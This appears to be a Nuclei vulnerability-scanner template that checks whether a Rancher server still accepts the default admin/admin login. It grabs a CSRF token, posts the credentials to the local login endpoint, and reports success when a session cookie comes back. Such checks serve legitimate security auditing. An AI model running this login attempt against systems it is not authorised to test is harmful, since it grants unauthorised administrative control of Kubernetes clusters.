rancher-default-login: Rancher Default Login

id: rancher-default-login

info:
  name: Rancher Default Login
  author: princechaddha
  severity: high
  description: Rancher default admin credentials were discovered. Rancher is an open-source multi-cluster orchestration platform that lets operations teams deploy, manage and secure enterprise Kubernetes.
  reference:
    - https://github.com/rancher/rancher
    - https://rancher.com/docs/rancher/v2.5/en/admin-settings/authentication/local/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 2
  tags: default-login,rancher,kubernetes,devops,cloud,vuln

http:
  - raw:
      - |
        GET /v3/settings/first-login HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
      - |
        POST /v3-public/localProviders/local?action=login HTTP/1.1
        Host: {{Hostname}}
        Cookie: CSRF={{csrf}}
        X-Api-Csrf: {{csrf}}
        Connection: close
        Content-Length: 136

        {"username":"{{username}}","password":"{{password}}","description":"UI Session","responseType":"cookie","labels":{"ui-session":"true"}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'R_SESS=token'
        part: header

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        part: header
        regex:
          - 'Set-Cookie: CSRF=([a-z0-9]+)'
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